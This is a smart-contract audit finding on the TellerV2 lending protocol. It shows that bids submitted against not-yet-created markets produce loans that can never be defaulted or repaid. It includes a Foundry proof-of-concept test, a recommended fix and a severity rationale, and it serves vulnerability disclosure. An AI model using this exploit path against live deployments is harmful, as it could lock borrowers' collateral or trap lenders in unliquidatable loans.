bids can be created against markets that doesn't exist
Bids can be created against markets that does not yet exist. When this market is created, the bid can be accepted but neither defaulted/liquidated nor repaid.\\nThere's no verification that the market actually exists when submitting a bid. Hence a user could submit a bid for a non existing market.\\nFor it to not revert it must have 0% APY and the bid cannot be accepted until a market exists.\\nHowever, when this market is created the bid can be accepted. Then the loan would be impossible to default/liquidate:\\n```\\nFile: TellerV2.sol\\n\\n       if (bidDefaultDuration[_bidId] == 0) return false;\\n```\\n\\nSince `bidDefaultDuration[_bidId]` will be `0`\\nAny attempt to repay will revert due to division by 0:\\n```\\nFile: libraries/V2Calculations.sol\\n\\n           uint256 owedAmount = (maxCycleOwed * owedTime) /\\n               _bid.terms.paymentCycle; \\n```\\n\\nSince `_bid.terms.paymentCycle` will also be `0` (and it will always end up in this branch since `PaymentType` will be EMI (0)).\\nHence the loan can never be closed.\\nPoC:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";\\n\\nimport { TellerV2 } from "../contracts/TellerV2.sol";\\nimport { CollateralManager } from "../contracts/CollateralManager.sol";\\nimport { LenderCommitmentForwarder } from "../contracts/LenderCommitmentForwarder.sol";\\nimport { CollateralEscrowV1 } from "../contracts/escrow/CollateralEscrowV1.sol";\\nimport { MarketRegistry } from "../contracts/MarketRegistry.sol";\\n\\nimport { ReputationManagerMock } from "../contracts/mock/ReputationManagerMock.sol";\\nimport { LenderManagerMock } from "../contracts/mock/LenderManagerMock.sol";\\nimport { TellerASMock } from "../contracts/mock/TellerASMock.sol";\\n\\nimport {TestERC20Token} from "./tokens/TestERC20Token.sol";\\n\\nimport "lib/forge-std/src/Test.sol";\\nimport "lib/forge-std/src/StdAssertions.sol";\\n\\ncontract LoansTest is Test {\\n    MarketRegistry marketRegistry;\\n    TellerV2 tellerV2;\\n    \\n    TestERC20Token principalToken;\\n\\n    address alice = address(0x1111);\\n    address bob = address(0x2222);\\n    address owner = address(0x3333);\\n\\n    function setUp() public {\\n        tellerV2 = new TellerV2(address(0));\\n\\n        marketRegistry = new MarketRegistry();\\n        TellerASMock tellerAs = new TellerASMock();\\n        marketRegistry.initialize(tellerAs);\\n\\n        LenderCommitmentForwarder lenderCommitmentForwarder = \\n            new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));\\n        CollateralManager collateralManager = new CollateralManager();\\n        collateralManager.initialize(address(new UpgradeableBeacon(address(new CollateralEscrowV1()))),\\n            address(tellerV2));\\n        address rm = address(new ReputationManagerMock());\\n        address lm = address(new LenderManagerMock());\\n        tellerV2.initialize(0, address(marketRegistry), rm, address(lenderCommitmentForwarder),\\n            address(collateralManager), lm);\\n\\n        principalToken = new TestERC20Token("Principal Token", "PRIN", 12e18, 18);\\n    }\\n\\n    function testSubmitBidForNonExistingMarket() public {\\n        uint256 amount = 12e18;\\n        principalToken.transfer(bob,amount);\\n\\n        vm.prank(bob);\\n        principalToken.approve(address(tellerV2),amount);\\n\\n        // alice places bid on non-existing market\\n        vm.prank(alice);\\n        uint256 bidId = tellerV2.submitBid(\\n            address(principalToken),\\n            1, // non-existing right now\\n            amount,\\n            360 days,\\n            0, // any APY != 0 will cause revert on div by 0\\n            "",\\n            alice\\n        );\\n\\n        // bid cannot be accepted before market\\n        vm.expectRevert(); // div by 0\\n        vm.prank(bob);\\n        tellerV2.lenderAcceptBid(bidId);\\n\\n        vm.startPrank(owner);\\n        uint256 marketId = marketRegistry.createMarket(\\n            owner,\\n            30 days,\\n            30 days,\\n            1 days,\\n            0,\\n            false,\\n            false,\\n            ""\\n        );\\n        marketRegistry.setMarketFeeRecipient(marketId, owner);\\n        vm.stopPrank();\\n\\n        // lender takes bid\\n        vm.prank(bob);\\n        tellerV2.lenderAcceptBid(bidId);\\n\\n        // should be liquidatable now\\n        vm.warp(32 days);\\n\\n        // loan cannot be defaulted/liquidated\\n        assertFalse(tellerV2.isLoanDefaulted(bidId));\\n        assertFalse(tellerV2.isLoanLiquidateable(bidId));\\n\\n        vm.startPrank(alice);\\n        principalToken.approve(address(tellerV2),12e18);\\n\\n        // and loan cannot be repaid\\n        vm.expectRevert(); // division by 0\\n        tellerV2.repayLoanFull(bidId);\\n        vm.stopPrank();\\n    }\\n}\\n```\\n
When submitting a bid, verify that the market exists.
This will lock any collateral forever since there's no way to retrieve it. For this to happen accidentally a borrower would have to create a bid for a non existing market with 0% APY though.\\nThis could also be used to lure lenders since the loan cannot be liquidated/defaulted. This might be difficult since the APY must be 0% for the bid to be created. Also, this will lock any collateral provided by the borrower forever.\\nDue to these circumstances I'm categorizing this as medium.
```\\nFile: TellerV2.sol\\n\\n       if (bidDefaultDuration[_bidId] == 0) return false;\\n```\\n